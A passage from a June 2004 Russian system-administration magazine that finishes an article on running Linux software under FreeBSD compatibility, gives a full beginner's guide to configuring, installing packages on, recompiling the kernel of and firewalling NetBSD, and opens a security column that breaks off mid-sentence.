вместо /usr/compat/linux/bin/uname работает /usr/bin/uname,
честно сообщающая, что у нас не Linux, а FreeBSD. Впро-
чем, эта мелкая неполадка для нас не критична. Сразу
же после завершения установки мы обнаруживаем, что
все нужные файлы вполне удачно проинсталлировались
в /usr/lib/ICAClient/.
Если же вам хочется установить программу непремен-
но из rpm, то нужно сделать вот так:
# rpm -i --dbpath /var/lib/rpm --root /usr/compat/linux ↵
--ignoreos ./ICAClient-7.00-1.i386.rpm
По идее все должно пройти отлично, хотя иногда я встре-
чал такие rpm-пакеты, которые по разным причинам вызы-
вают падение программы rpm. В таком случае можно вруч-
ную распаковать rpm-пакет, например, с помощью mc и раз-
ложить все файлы по нужным директориям самостоятель-
но. После удачной установки rpm-пакета все вновь создан-
ные файлы обычно находятся в /usr/compat/linux.
После первоначальной настройки Citrix ICA Client c
помощью wfcmgr программа вполне готова к употребле-
нию. В этом можно убедиться, посмотрев на следующий
снимок экрана.

Для удачной установки Acrobat Reader придется пово-
зиться чуть больше. Распаковываем дистрибутив и запус-
каем скрипт INSTALL. Проблема в том, что программисты
фирмы Adobe пытаются не позволить нам пользоваться
их детищем под управление FreeBSD.
В ответ получаем следующую надпись:
Приняв лицензионное соглашение в качестве дирек-
тории для установки, подтверждаем выбор по умолчанию
/usr/local/Acrobat5/.
После того как копирование файлов будет заверше-
но, можно попытаться запустить программу и получить
горькое разочарование.
Об этой беде мы уже говорили ранее в статье. Распот-
рошив скрипт acroread, довольно быстро находим пробле-
му. Так как скрипты не являются бинарными ELF-файла-
ми, система бинарной совместимости никак не может до-
гадаться, что по запросу на вызов утилиты uname нужно
№6(19), июнь 2004
администрирование
запускать не /usr/bin/uname, а /usr/compat/linux/bin/uname.
Исправить положение очень легко, нужно найти все вхож-
дения символов uname в тексте скрипта и заменить их на
luname. А затем в директории /usr/bin создать жесткую
ссылку с именем luname на /usr/compat/bin/uname. Пере-
загружаем систему. Теперь запускаем acroread и радуем-
ся как малые дети.
Конечно, можно было бы не создавать никаких ссы-
лок, а просто вместо uname написать /usr/compat/linux/bin/
uname, но я человек ленивый и стараюсь уменьшить ко-
личество совершаемых телодвижений. К тому же данная
проблема довольно типична для скриптов Linux-приложе-
ний, поэтому ссылка на luname вам пригодится скорее все-
го еще не один раз. Кстати, стоит отметить, что некото-
рые приложения могут требовать для нормального функ-
ционирования некоторые библиотеки, используемые для
разработки других приложений. Ярким примером такой
разновидности программ выступает ORACLE. Поэтому
нам лучше поставить еще один добавочный пакет, назы-
ваемый linux_devtools.
# # cd /usr/ports/emulators/linux_devtools
# make package
Иногда несмотря на то, что приложение удачно уста-
новилось, работать оно все же не хочет по причине отсут-
ствия некоторых библиотек. Для начала проверим, какие
же именно библиотеки ему необходимы. Делать это мы
будем на примере WordPerfect.
Соответственно нам нужно всего лишь найти эти биб-
лиотеки на Linux-машине и скопировать их себе в систе-
му бинарной совместимости. Лично мне пришлось сде-
лать так всего один раз за все время работы с системой.
С другой стороны, чем больше программного обеспече-
ния вы будете устанавливать, тем больше шансов, что все
необходимые библиотеки у вас уже будут находиться там,
где положено.
Иногда Linux-приложения, интенсивно использующие
DNS, отказываются работать и выводят на экран следую-
щие жалобы:
Все дело в том, что они пытаются использовать по
умолчанию файл host.conf от FreeBSD, а нам нужно со-
вершенно другое. Поэтому вписываем в /usr/compat/linux/
etc/rc.conf следующие строки:
order hosts, bind
multi on
И навсегда забываем о проблеме с DNS.
Как вы могли убедиться, работать с интерфейсом би-
нарной совместимости довольно просто, а выгода от это-
го получается немалая.
21
 администрирование

ПЕРВЫЕ ШАГИ В NetBSD

ЧАСТЬ 1

В этой статье речь пойдет об ОС NetBSD. К сожалению, документации на русском языке по этой ОС
практически нет. Как-то не прижилась NetBSD в нашей стране, нельзя сказать, что эту систему
вообще никто не использует, но все же количество людей, имеющих с ней дело, очень невелико.

Хотя на Западе NetBSD достаточно популярна. В принци-
пе это легко объяснить. Главный козырь NetBSD в ее мно-
гоплатформенности, она одинаково хорошо будет рабо-
тать как на карманных компьютерах типа HP Jordana 728,
так и на больших 64-разрядных Alpha. Конечно, она рабо-
тает и на x86. И если за рубежом количество машин с от-
личной от x86 архитектурой достаточно велико, у нас же
если где и есть SPARC или MIPS, то люди в основном пред-
почитают использовать на них их родные ОС. На x86
NetBSD тоже почему-то ставят нечасто, вроде как и «ос-
тальных» систем достаточно, а разбираться с чем-то но-
вым у кого времени, а у кого и желания нет. До недавнего
времени в рунете была только одна статья, посвященная
NetBSD (http://www.linuxshop.ru/unix4all/?cid=28&id=325).
Не так давно Андрей Бешков написал отличную статью, по-
священную этой системе (смотри августовский номер жур-
нала за 2003 г. или http://onix.opennet.ru/netbsd/netbsd.html).
Я вам очень советую ее почитать, в статье в простой и
доступной форме расписан процесс установки ОС. После
этого интерес к системе возрос, все чаще на форумах
юниксоидов можно встретить вопросы и, что самое глав-
ное, ответы, посвященные NetBSD. Эта система заинтере-
совала и меня, результат моего изучения перед вами. За
неимением компьютеров с отличной от x86 архитектурой
все мои эксперименты с NetBSD проводились на обычном
PC (Cel 433МГц/64Мб RAM). Я предполагаю, что NetBSD в
том или ином виде уже установлена на вашем компьюте-
ре. Далее нам понадобится только диск с исходниками си-
стемы. Взять образ этого диска можно тут: ftp://ftp.netbsd/
АЛЕКСАНДР БАЙРАК
pub/NetBSD/iso. Далее выбираете версию системы, кото-
рая установлена у вас, и списываете файл sourcecd.iso.
Afterboot, или Что следует сделать сразу
после первой загрузки
Вполне логично сразу после загрузки сконфигурировать
сеть. Делается это так: в /etc/rc.conf (предварительно изу-
чив /etc/defaults/rc.conf) пишем:
hostname=”you.host.name”
Задается имя вашего хоста:
defaultrouter=”x.x.x.x”
Указывается IP шлюза:
ifconfig_zz=”x.x.x.x/xx”
В качестве zz необходимо вписать имя вашего сетево-
го интерфейса. (Если точно не знаете, как он будет назы-
ваться в NetBSD, его название можно посмотреть с помо-
щью команды dmesg.) Вместо иксов соответственно впи-
сать ваш IP-адрес. Маску подсети можно указать как в
«дробном» виде (/xx), так и в виде netmask x.x.x.x.
IP DNS-сервера(ов) прописывается в /etc/resolv.conf,
синтаксис таков:
netmask x.x.x.x

22

Должен заметить, что есть альтернативный вариант
указания имени хоста и IP шлюза. Имя хоста можно поме-
стить в файл /etc/myname. А IP шлюза – в /etc/mygate.
Делайте, как вам удобно.
В /etc/rc.conf не забудьте указать:
sshd=YES
После этого мы можем заходить удаленно на нашу
NetBSD через ssh.
Следующим шагом является заведение нового пользо-
вателя. Не всегда же под аккаунтом root работать.
# useradd –g groupname –d /path/to/homedir –m ↵
–p yourpassword –s /path/to/shell username
Рассмотрим, что и как мы создали. После опции –g ука-
зывается имя группы, к которой будет принадлежать но-
вый пользователь. Должен заметить, что с помощью опции
–g бесполезно пытаться добавить нового пользователя в
группу wheel, надо напрямую его вписать в /etc/group. Тог-
да он действительно окажется в группе wheel. После опции
–d указывается путь до домашнего каталога пользовате-
ля. После –p указывается новый пароль. После опции –s
указывается путь к командному интерпретатору.
Если эту опцию не задать, будет использоваться стан-
дартный /bin/sh. Который, впрочем, позже можно будет
сменить на что-нибудь другое при помощи команды chsh.
Мною была замечена интересная вещь – какой бы
password ни указывался, после опции –p useradd ругается:
Это не беда, если его поменять с помощью команды
passwd <username>, то все встанет на свои места. Нелиш-
ним будет прочтение man useradd, там вы более подроб-
но узнаете о значениях всех опций.
Установка нужного софта
Установить новый софт можно:
! Собрав из исходников.
! Используя пакаджи.
! Используя систему портов.
Если с первыми двумя методами все более-менее по-
нятно, то третий способ я распишу немного подробней.
Замечу только, что все пакаджи берутся с ftp://ftp.netbsd.org/
pub/NetBSD/packages.
Далее выбираете, для какой версии системы и архи-
тектуры вы ищете нужный вам пакадж.
Для удобства можно использовать вот эту ссылку: ftp://
ftp.netbsd.org/pub/NetBSD/packages/pkgsrc/README.html.
Здесь весь софт разделен на тематические разделы (как
в коллекции портов). Для меня вторая ссылка более удоб-
ная, благодаря наличию комментариев к каждому пакад-
жу с указанием всех зависимостей.
Установить пакадж просто:
#pkg_add packagename.tar.gz
Замечу, что заранее пакадж можно и не списывать, а
№6(19), июнь 2004
администрирование
команде pkg_add указать точный url, где лежит пакадж,
который вы желаете установить. Например:
#pkg_add ftp://ftp.netbsd.org/pub/NetBSD/packages/1.6.1 ↵
/i386/shells/bash-2.05.2.tgz
Это командой мы установим пакадж с bash для 1.6.1
версии NetBSD, работающей на x86 машине.
Важное замечание: по умолчанию исполняемые фай-
лы пакаджей помещаются в /usr/pkg/bin.
Система портов в NetBSD тоже называется пакаджа-
ми, что вносит некоторую неразбериху. Получается, что
есть binary-packages, которые уже кто-то скомпилировал
до нас, и которые только и остается что установить ко-
мандой pkg_add, и есть «порты-пакаджи», которые спи-
сываются из сети в виде исходников, а компилируются
уже на вашей машине. Чтобы не вносить дальнейшую
путаницу, далее по тексту «порт-пакадж» буду называть
просто порт.
Для того чтобы начать работать с коллекцией портов,
берем с уже знакомого нам диска файл pkgsrc.tgz.
Самую последнюю версию этого файла можно списать
на ftp://ftp.netbsd.org/pub/NetBSD/NetBSD-current/tar_files/
pkgsrc.tar.gz.
Распакуем:
# tar zxvpf pkgsrc.tar.gz –c /usr
После распаковки архива в /usr/pkgsrc/ появляются
каталоги, разделенные по группам (audio/www/x11), в
которых соответственно содержатся каталоги, назван-
ные по имени программ с файлами, необходимыми для
установки по сети. Установка нужной программы про-
исходит следующим образом (для примера установим
редактор ne):
#cd /usr/pkgsrc/editors/ne
#make install
И начинается процесс установки, система списывает из
сети исходник нужной программы, если для компиляции
требуется какая-либо библиотека, то она также будет спи-
сана. После этого следует компиляция. Вот и все. Правда,
просто? После того как система установила нужный порт,
для удаления временных файлов выполняем команду.
#make clean
Все исходники, которые были списаны системой из
сети, хранятся в /usr/pkgsrc/distfiles.
Перекомпиляция ядра
Я думаю, желание собрать ядро под себя и со своими пред-
почтениями вполне закономерное. Из стандартного хочет-
ся выкинуть все ненужное (а выкинуть, я думаю, много
чего можно, GENERIC-ядро весит ~ 6.3 Мб!), и соответ-
ственно добавить нужное. Для перекомпиляции ядра нам
понадобятся непосредственно исходники ядра. Я уже упо-
мянул о sourcecd.iso, на котором находятся исходники всей
системы. Вот сейчас из этого самого образа мы берем
нужный нам syssrc.tgz. Распакуем:
23
 администрирование
# tar zxvpf syssrc.tgz –c /
Все, теперь в /usr/src/sys есть все, что нам нужно для
дальнейшей работы.
Надо заметить, что в / есть ссылка на этот каталог (/sys-
> /usr/src/sys/). Перейдем в /usr/src/sys/arch – тут выбира-
ем нужную нам платформу/архитектуру. Для меня это i386,
которая как-то затерялась среди всех остальных поддер-
живаемых платформ. Всего их 56 штук!
После нахождения каталога с нужной нам архитекту-
рой переходим в его подкаталог – conf, именно тут лежат
файлы конфигурации ядра. Для i386 представлено с де-
сяток различных готовых файлов конфигурации, создан-
ных для разных задач. Ради интереса их стоит посмот-
реть.
Файл конфигурации стандартного ядра находится в
файле GENERIC. Очень жаль, что разработчики не сде-
лали аналога файла LINT (такого, как в FreeBSD), в кото-
ром с подробными комментариями перечислены все воз-
можные параметры, допустимые в файле конфигурации
ядра. Ну да ладно, и так разберемся.
# cp GENERIC newkernel
После этого с помощью своего любимого текстового
редактора начинаем править под наши нужды файл кон-
фигурации нового ядра.
Разберем структуру и содержимое файла конфигура-
ции ядра для x86 архитектуры более подробно. Коммен-
тарии в нем начинаются с символа #.
! include «arch/i386/conf/std.i386» – в std.i386 хранятся не-
которые опции, которые необходимы для работы NetBSD
на x86 платформе.
! options INCLUDE_CONFIG_FILE – вставить содержимое
файла конфигурации ядра в бинарник нового ядра.
! ident «my new kernel» – указываем имя нашего буду-
щего ядра.
! maxusers 32 – указываем примерное количество поль-
зователей нашей системы. Но даже если вы намере-
ны использовать ее в гордом одиночестве, рекомен-
дую поставить значение «с запасом».
! CPU support – указываем, какой тип процессора уста-
новлен на компьютере. Например: options I686_CPU.
CPU-related options
Опции, связанные с процессором:
! options MATH_EMULATE – эмулирование математичес-
кого сопроцессора.
! options VM86 – виртуальная 8086 эмуляция.
! options USER_LDT – стоит включить, если планирует-
ся использование эмулятора WINE.
! options PERFCTRS – поддержка мониторинга некото-
рых счетчиков.
Если NetBSD не полностью видит память, установлен-
ную в вашем компьютере, имеет смысл воспользоваться
следующими опциями.
! options REALBASEMEM= – размер базовой памяти
(в Кб).
24
! options REALEXTMEM= – размер расширенной памяти
(в Кб).
Standard system options
Стандартные опции системы:
! options UCONSOLE – пользователи могут использовать
TIOCCONS (нужно для xconsole).
! options INSECURE – отключить уровни безопасности ядра.
! options RTC_OFFSET=0 – установка времени по GMT.
! options NTP – запрещение цикла фазы/частоты NTP.
! options KTRACE – системные вызовы идут через ktrace.
! options SYSVMSG – очереди сообщений, как в SysV.
! options SYSVSEM – семафоры, как в SysV.
! options SYSVSHM – разделение памяти, как в SysV.
! options LKM – возможность загружать модули ядра.
Diagnostic/debugging support options
Задаются опции поддержки диагностики и отладки.
Compatibility options
Различные опции совместимости. Также тут мы указыва-
ем поддержку запуска уже скомпилированных для других
ОС программ. Например:
! options COMPAT_LINUX – совместимость с приложе-
ниями, собранными для Linux.
! options COMPAT_FREEBSD – совместимость с прило-
жениями от FreeBSD.
File systems
Указываем, поддержку каких файловых систем мы хотим
иметь. Замечу, что поддержку файловых систем можно
подключать также в виде модуля ядра.
File system options
Различные опции для файловых систем:
! options QUOTA – возможность установки квот на дис-
ковое пространство.
! options SOFTDEP – поддержка «soft updates» для фай-
ловой системы FFS. Очень рекомендую включить, по-
тому как скорость работы с данными на жестком дис-
ке значительно возрастет.
! options NFSSERVER – стоит включить, если машина
будет использоваться как NFS-сервер.
Networking options
Опции для поддержки сети:
! options GATEWAY – поддержка фовардинга пакетов.
! options INET – «базовый» набор (IP + ICMP + TCP + UDP).
! options INET6 – поддержка IPv6.
! options IPSEC – поддержка IP security.
! options MROUTING – IP multicast routing.
! options NS – поддержка XNS.
! options NSIP – XNS-туннель через IP.
! options ISO,TPIP – поддержка OSI.
! options EON – OSI-туннели через IP.
! options CCITT,LLC,HDLC – поддержка x.25 сетей.
! options NETATALK – поддержка протокола AppleTalk.
! options PPP_BSDCOMP – поддержка BSD-Compress
сжатия для PPP.

! options PPP_DEFLATE – поддержка Deflate-сжатия для
PPP.
! options PPP_FILTER – активный фильтр для PPP. Ну-
жен bpf.
! options IPFILTER_LOG – поддержка ведения логов
firewall.
! options IPFILTER_DEFAULT_BLOCK – запрещение про-
хождения всех пакетов по умолчанию.
Дальше в файле конфигурации ядра идут опции для
включения вывода подробных сообщений от некоторых
подсистем. Добавление этих опций может существенно
увеличить размер вашего ядра. Для примера включим
поддержку подробных сообщений для USB-устройств:
options USBVERBOSE.
wscons options
Различные опции для консоли wscons.
! options WSEMUL_xxx – в качестве xxx вписываем, ка-
кой тип эмуляции терминала мы хотим видеть на экра-
нах, которые автоматически создаются системой. По
умолчанию VT100/VT220.
! options WS_KERNEL_FG=WSCOL_color – цвет сообще-
ний на консоли.
! options WS_KERNEL_BG=WSCOL_color – цвет фона в
консоли. По умолчанию используется черный фон и зе-
леные сообщения (как в «Матрице»).
! compatibility to other console drivers – совместимость с
другими драйверами консоли.
! options WSDISPLAY_COMPAT_xxx – задаем совме-
стимость, с какими драйверами консоли мы хотим
иметь дело.
! options WSDISPLAY_DEFAULTSCREENS=x – количе-
ство экранов, которые система создает автомати-
чески. Рекомендую поставить 1 или 2, почему имен-
но будет рассказано в разделе русификация.
! options PCDISPLAY_SOFTCURSOR – использование
курсора, который не мигает.
! options VGA_CONSOLE_SCREENTYPE=«\«80x24\»» –
изменение стандартного разрешения в консоли.
Kernel root file system and dump configuration
Указываем, где располагается корневая файловая систе-
ма с ядром.
config netbsd root on ? type ?
Device configuration
В этой части файла конфигурации ядра мы будем конфи-
гурировать различные устройства. Еще раз напоминаю,
что в целях экономии места будут описаны только основ-
ные разделы, без комментариев к каждому устройству.
! Продвинутая система управления питания.
apm0at mainbus0
Можно также задавать различные опции. Все подроб-
но описано в man 4 apm.
№6(19), июнь 2004
администрирование
! mainboard audio chips – поддержка некоторых встро-
енных звуковых карт. Для примера включим поддерж-
ку ESS AudioDrive.
ess* at =pnpbios? index ?
! com port – поддержка com-порта.
com* at pnpbios? index ?
! parallel port – параллельный порт.
lpt* at pnpbios? index ?
! Клавиатуры и мышки:
pckbc* at pnpbios? index ?
! Контроллер флопа:
fdc* at pnpbios? index
! PCI bus support – поддержка шины PCI.
! Configure PCI using BIOS information – различные оп-
ции, для того чтобы шина PCI использовала информа-
цию из BIOS.
! PCI bridges – поддержка различных PCI-мостов.
! EISA bus support – поддержка шины EISA.
! ISA bus support – поддержка шины ISA.
! PCMCIA bus support – поддержка шины PCMCIA.
! MCA bus support – поддержка шины MCA.
! ISA PCMCIA controllers – включение различных ISA
PCMCIA-контроллеров.
! PCI PCMCIA controllers – включение различных PCI
PCMCIA-контроллеров.
! ISA Plug-and-Play bus support – поддержка ISA PnP-
шины.
! ISA Plug-and-Play PCMCIA controllers – ISA PnP PCMCIA-
контроллеры.
! CardBus bridge support – поддержка CardBus-мос-
тов.
! CardBus bus support – поддержка CardBus-шины.
! Coprocessor Support – поддержка математического со-
процессора (не отключите случайно).
! Console Devices – драйвера консоли.
! Keyboard layout configuration – конфигурация клавиа-
туры для нескольких языков. Русского среди них, к
сожалению, нет.
! pccons-specific options – специальные pccons-опции.
! options XSERVER_DDB – PF12 – переведет вас в
DDB, когда будет запущен X-сервер.
! options XSERVER – поддержка X-сервера.
! Контроллер клавиатуры.
pckbc0 at isa?
! Клавиатура.
pckbd* at pckbc?
25
администрирование
! PS/2 мышка для wsmouse.
pms* at pckbc?
! Serial Devices – последовательные устройства.
! PCI serial interfaces – PCI-последовательные интер-
фейсы.
! ISA Plug-and-Play serial interfaces – ISA PnP-последова-
тельные интерфейсы.
! PCMCIA serial interfaces – PCMCIA-последовательные
интерфейсы.
! CardBus serial interfaces – CardBus-последовательные
интерфейсы.
! ISA serial interfaces – последовательные интерфейсы
для ISA.
! MCA serial interfaces – последовательные интерфейсы
для MCA.
! Parallel Printer Interfaces – параллельные интерфейсы
для принтеров.
! PCI parallel printer interfaces – PCI-параллельный интер-
фейс для принтеров.
! ISA parallel printer interfaces – ISA-параллельный интер-
фейс для принтеров.
! Стандартный параллельный порт:
lpt0 at isa? port 0x378 irq 7
! Hardware monitors – различные системные мониторы.
(Естественно, не те, на которых мы видим выводимую
информацию, а те, которые занимаются мониторингом
состояния чего бы то ни было).
! I2O devices – различные I2O-устройства.
! SCSI Controllers and Devices – различные SCSI-контрол-
леры и устройства.
! PCI SCSI controllers – PCI SCSI-контроллеры.
! EISA SCSI controllers – EISA SCSI-контроллеры.
! PCMCIA SCSI controllers – PCMCIA SCSI-контроллеры.
! ISA Plug-and-Play SCSI controllers – ISA PnP SCSI-кон-
троллеры.
! ISA SCSI controllers – ISA SCSI-контроллеры.
! CardBus SCSI cards – SCSI CarBus-карты.
! MCA SCSI cards – SCSI MCA-карты.
! SCSI bus support – поддержка шины SCSI.
! SCSI devices – различные SCSI-устройства.
! SCSI-диски:
sd* at scsibus? target ? lun ?
! SCSI-ленточные устройства:
st* at scsibus? target ? lun ?
! SCSI CDROM:
cd* at scsibus? target ? lun ?
! SCSI-«автосменщики» чего-нибудь:
ch* at scsibus? target ? lun ?
26
! SCSI-«автовкладыватели» чего-нибудь:
ses* at scsibus? target ? lun ?
! SCSI-сканеры:
ss* at scsibus? target ? lun ?
! Неизвестные SCSI-устройства:
uk* at scsibus? target ? lun ?
! RAID controllers and devices – различные RAID-контрол-
леры и устройства.
! ISA Plug-and-Play IDE controllers – ISA PnP IDE-контрол-
леры.
! PCMCIA IDE controllers – PCMCIA IDE-контроллеры.
Также есть поддержка некоторых ISA ST506, ESDI и
IDE-контроллеров.
! IDE drives – IDE-устройства.
! ATAPI bus support – поддержка ATAPI-шины.
! ATAPI devices – различные ATAPI-устройства.
! ATAPI CDROM:
cd* at atapibus? drive ? flags 0x0000
! ATAPI HDD:
sd* at atapibus? drive ? flags 0x0000
! TAPI-ленточные устройства:
st* at atapibus? drive ? flags 0x0000
! Неизвестные устройства для шины ATAPI:
uk* at atapibus? drive ? flags 0x0000
! Miscellaneous mass storage devices – различные устрой-
ства для хранения информации.
! ISA floppy – поддержка флопов.
! Стандартный контроллер для флопа:
fdc0 at isa? port 0x3f0 irq 6 drq 2
! ISA CD-ROM devices – CD-ROM, подключенные к ISA-
устройствам.
! ISA tape devices – различные ленточные устройства,
подключенные к ISA-шине.
! MCA ESDI devices – различные MCA ESDI-устрой-
ства.
! Network Interfaces – различные сетевые карты.
! PCI network interfaces – PCI-сетевые карты.
! EISA network interfaces – EISA-сетевые карты.
! ISA Plug-and-Play network interfaces – ISA PnP-сетевые
карты.
! PCMCIA network interfaces – PCMCIA-сетевые карты.
! ISA network interfaces – ISA-сетевые карты.
! CardBus network cards – CarBus-сетевые карты.

! MCA network cards – MCA-сетевые карты.
! MII/PHY support – поддержка различных MII/PHY-уст-
ройств.
! USB Controller and Devices – различные USB-контрол-
леры и устройства.
! PCI USB controllers – PCI USB-контроллеры.
! USB bus support – поддержка шины USB.
! USB Hubs – USB-хабы.
! USB HID device – USB HID-устройства.
! USB Mice – USB-мышки.
! USB Keyboards – USB-клавиатуры.
! USB Printer – USB-принтеры.
! USB Modem – USB-модемы.
! USB Mass Storage – устройства хранения информации
на USB.
! USB audio – USB-звуковые карты.
! USB MIDI – USB MIDI-устройства.
! USB IrDA – USB IrDA-устройства.
! USB Ethernet adapters – USB-сетевые карты.
! Serial adapters – различные последовательные USB-
адаптеры.
! USB scanners – USB-сканеры и сканеры, которые ис-
пользуют эмуляцию SCSI.
! USB Generic driver – USB-драйвер.
! Audio Devices – различные звуковые карты.
! PCI audio devices – PCI-звуковые карты.
! ISA Plug-and-Play audio devices – ISA PnP-звуковые
карты.
! ISA audio devices – ISA-звуковые карты.
! PCMCIA audio devices – PCMCIA-звуковые карты.
! Audio support – поддержка звука для вышеперечислен-
ных карт.
! MPU 401 UARTs – различные MPU 410 карты.
! MIDI support – поддержка MIDI.
! PC-спикер:
spkr0 at pcppi?
! FM-Radio devices – различные FM-тюнеры.
! ISA radio devices – ISA FM-тюнеры.
! PCI radio devices – PCI FM-тюнеры.
! TV cards – TV-тюнеры.
! Mice – различные мышки.
! Joysticks – различные джойстики.
! ISA Plug-and-Play joysticks – ISA PnP-джойстики.
! PCI joysticks – PCI-джойстики.
! ISA joysticks – ISA-джойстики.
! Pseudo-Devices – различные псевдоустройства.
! disk/mass storage pseudo-devices – псевдоустройства
для хранения информации.
! pseudo-device ccd – concatenated/striped disk devices.
! pseudo-device raid – RAIDframe disk drive.
! options RAID_AUTOCONFIG – автоконфигурирова-
ние RAID-компонентов.
! pseudo-device md – поддержка дисков в память –
ramdrive.
! pseudo-device vnd – похожий на диски интерфейс для
файлов.
! network pseudo-devices – сетевые псевдоустройства.
№6(19), июнь 2004
администрирование
! pseudo-device bpfilter – берклинский пакетный фильтр.
! pseudo-device ipfilter – firewall + NAT.
! pseudo-device loop – интерфейс обратной петли
(127.0.0.1).
! pseudo-device ppp – протокол Point-to-Point.
! pseudo-device pppoe – поддержка PPP через Ethernet.
! pseudo-device sl – Serial line IP.
! pseudo-device irframetty – IrDA frame line discipline.
! pseudo-device tun – сетевые туннели через tty.
! pseudo-device gre – L3 через IP-туннель.
! pseudo-device gif – IPv[46] через IPv[46]-туннель.
! pseudo-device faith – трансляция IPv[46] tcp релея.
! pseudo-device stf – инкапсуляции IPv6 через IPv4
! pseudo-device vlan – поддержка VLAN.
! pseudo-devic bridge – сетевой мост.
! miscellaneous pseudo-devices – другие псевдоустрой-
ства.
! pseudo-device pty – псевдотерминалы.
! pseudo-device rnd – поддержка /dev/random.
! pseudo-device clockctl – контроль часов.
! wscons pseudo-devices – псевдоустройства wcons.
! pseudo-device wsmux – мультиплексор клавиатуры
и мышки.
! pseudo-device wsfont – /dev/wsfont.
После того как закомментировано все ненужное и до-
бавлено нужное, приступаем к сборке нового ядра.
#config newkernel
Если никаких ошибок не выявлено, то:
#cd ../compile/newkernel/
#make depend && make
Начинается непосредственно компиляция. Процесс ком-
пиляции проходит достаточно быстро, у меня на Cel466/
64Мб RAM она заняла порядка 15 минут. На PIII-550/320Мб
RAM – меньше 5 минут.
Если компиляция прошла успешно, устанавливаем но-
вое ядро.
#cp /netbsd /netbsd.old
Делаем резервную копию старого ядра, которое рас-
полагается в корневом разделе.
#cp netbsd /
Копируем новое ядро (которое находится в текущем
каталоге) в корень. Перезагружаемся:
#reboot
Если новое ядро не загружается по каким-либо причи-
нам, нам нужно загрузить старое, работоспособное ядро,
недаром мы его сохранили. В самом начале загрузки
NetBSD, когда идет обратный отсчет времени, нажимаем
любую клавишу, отличную от enter, и попадаем в boot-
меню. Далее вводим:
27
 администрирование
netbsd.old –s
Вот и все, система загружается со старым ядром. Смот-
рите внимательно файл конфигурации ядра и думайте, что
вы не так сделали. Да, вернемся к размерам ядра, после
того как я первый раз пересобрал ядро, его размер умень-
шился до ~1.5Мб. Потом удалось сделать рабочее ядро
размером ~1.2Мб, что почти в 5.5 раз меньше, чем стан-
дартное ядро.
В качестве дополнения о перекомпиляции ядра я вкрат-
це хотел бы рассказать о маленькой утилите, недавно об-
наруженной мной в коллекции портов – adjustkernel. Про-
грамма на основе имеющегося оборудования сама создаст
файл конфигурации ядра. Рассмотрим, как она работает.
#dmesg > dmesg.file
Поместим вывод команды dmesg в файл dmesg.file. На
основе этих данных и будет строиться наше новое ядро.
Так же в текущий каталог положите ваш файл конфигу-
рации ядра, ну или GENERIC.
#adjustkernel –mesg dmesg.file –outfile newkernel –file GENERIC
Я решил посмотреть, какой файл конфигурации про-
грамма создаст на основе GENERIC-файла. В принципе
файл конфигурации получился вполне работоспособный.
Но в любом случае ему требуется доводка руками. Ведь
программа не знает, нужна ли нам на этой машине под-
держка IPv6 или файловой системы CODA. А в остальном
только положительные отзывы.
Настройка firewall
В качестве firewall в NetBSD используется IPFILTER. Для
начала добавляем в /etc/rc.conf строку: IPFIREWALL=YES.
Удостоверимся, что ядро собрано с опцией IPFILTER_
DEFAULT_BLOCK, как видно, эта опция служит для того,
чтобы по умолчанию все пакеты отвергались. Мне кажет-
ся, такой подход при конфигурировании firewall единствен-
но правильный – сначала все закроем, а потом откроем
только то, что нам нужно. Правила firewall в файле /etc/
ipf.conf. Давайте разберем синтаксис написания правил
для IPFILTER. Для того чтобы обозначить, пропускать па-
кет или нет, используются ключевые слова – pass и block.
Для обозначения направления, в котором проходит пакет,
используются ключевые слова in и out. Интерфейс указы-
вается ключевым словом on, за которым следует назва-
ние интерфейса. Маска сети задается как в «дробном»,
так и в виде xxx.xxx.xxx.xxx. Имеется поддержка фильтра-
ции по имени протокола. Узнать полный список протоко-
лов можно из файла /etc/protocols.
Поддерживается блокировка фрагментированных IP-
пакетов. Для TCP/UDP работает фильтрация по номеру
порта. Можно использовать некоторые операции над но-
мерами портов.
! = или eq – истина, если номер порта равен передавае-
мому значению.
! > или gt – истина, если номер порта больше, чем пере-
даваемое значение.
28
! < или lt – истина, если номер порта меньше, чем пере-
даваемое значение.
! != или ne – истина, если номер порта не равен переда-
ваемому значению.
! => или ge – истина, если номер порта больше или ра-
вен переданному значению.
! <= или le – истина, если номер порта меньше или ра-
вен переданному значению.
Возможно сравнение диапазонов:
! N <> N1 – истина, если порт меньше, чем N, или боль-
ше, чем N1.
! N >< N1 – истина, если порт больше, чем N, и меньше,
чем N1.
Также в этом firewall есть поддержка фильтрации по
TCP-флагам, возможность ответа на заблокированный
пакет, keep-state-фильтрация. В общем поддерживается
все, что нужно для гибкой настройки правил, и даже не-
много больше. Для примера напишем простенький набор
правил firewall.
Разрешаем весь icmp-трафик:
pass in on <xx> proto icmp all
pass out on <xx> proto icmp all
Открываем порты для работы с SSH:
pass in proto tcp from any to <IP> port = 22
pass out proto tcp from <IP> to any port = 22
Открываем порты для работы с DNS:
pass in proto udp from any to <IP> port = 53
pass out proto udp from <IP> to any port = 53
Вместо xx указываем сетевой интерфейс, вместо IP
указываем наш IP-адрес. Я умышленно привел такой про-
стой пример, так как написание правил для firewall – дело
достаточно личное, каждый их составляет так, как ему
удобно.
Но, я думаю, вышеприведенного примера вполне дос-
таточно, для того чтобы на его основе построить более слож-
ный набор правил. Для получения более подробной инфор-
мации о IPFILTER очень рекомендую почитать IPFILTER
HOW-TO (http://www.unixcircle.com/ipf).
Заключение
Подошла к концу первая часть статьи. Для начала изуче-
ния, по-моему, достаточно. Если этой статьей я привлек
ваше внимание к NetBSD, значит моя цель несомненно
выполнена.
Во второй части статьи мы рассмотрим профилиро-
вание ядра NetBSD, протестируем бинарную совмести-
мость с FreeBSD и Linux, научимся поддерживать сис-
тему в актуальном состоянии. Также в мои планы вхо-
дит рассказать о криптографической файловой систе-
ме NetBSD, не будет обойден вниманием и вариант ис-
пользования NetBSD как desktop-системы. Но обо всем
этом в следующий раз. Я буду рад всем уточнениям,
дополнениям и просто отзывам об этой статье.
Пишите!
 безопасность
ТОЧКА ЗАЩИТЫ
Так уж получилось, что моим первым Linux-дистрибутивом
был не один из типично пользовательских вроде Red Hat,
с чего обычно начинают знакомство, а маленький однодис-
кетный FreeSCO (http://www.freesco.org), о котором я писал
в сентябрьском номере журнала за 2003 г. Небольшая за-
метка на каком-то сайте, в которой было рассказано о том,
как с его помощью можно быстро и без особых трудностей
настроить совмесный доступ в Интернет группе компьюте-
ров, не только помогла решить проблему человеку, доселе
этим никогда не занимавшемуся. В итоге это знакомство
полностью изменило мою жизнь. Вместо Windows пришел
Linux, вместо assembler и Pascal – Perl, PHP. Стал интере-
соваться сетями. Может быть, поэтому моим любимым за-
нятием является поиск и тестирование таких специальных
